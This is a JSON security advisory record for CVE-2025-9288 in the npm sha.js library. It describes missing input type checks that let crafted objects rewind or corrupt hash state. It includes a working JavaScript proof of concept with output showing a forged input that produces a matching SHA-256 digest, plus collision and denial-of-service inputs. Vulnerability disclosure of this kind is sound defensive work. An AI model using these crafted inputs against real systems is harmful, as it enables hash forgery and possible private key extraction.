{"id":"GHSA-95m3-7q98-8xr5","summary":"sha.js is missing type checks leading to hash rewind and passing on crafted data","details":"### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) =\u003e JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = sha('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n\u003e require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n\u003e require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","aliases":["CVE-2025-9288"],"modified":"2026-09-10T03:50:26.795456685Z","published":"2025-08-21T14:47:55Z","database_specific":{"nvd_published_at":"2025-08-20T22:15:30Z","cwe_ids":["CWE-20"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-08-21T14:47:55Z"},"references":[{"type":"WEB","url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288"},{"type":"WEB","url":"https://github.com/browserify/sha.js/pull/78"},{"type":"WEB","url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"},{"type":"PACKAGE","url":"https://github.com/browserify/sha.js"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-9287"}],"affected":[{"package":{"name":"sha.js","ecosystem":"npm","purl":"pkg:npm/sha.js"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.4.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-95m3-7q98-8xr5/GHSA-95m3-7q98-8xr5.json","last_known_affected_version_range":"\u003c= 2.4.11"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"}]}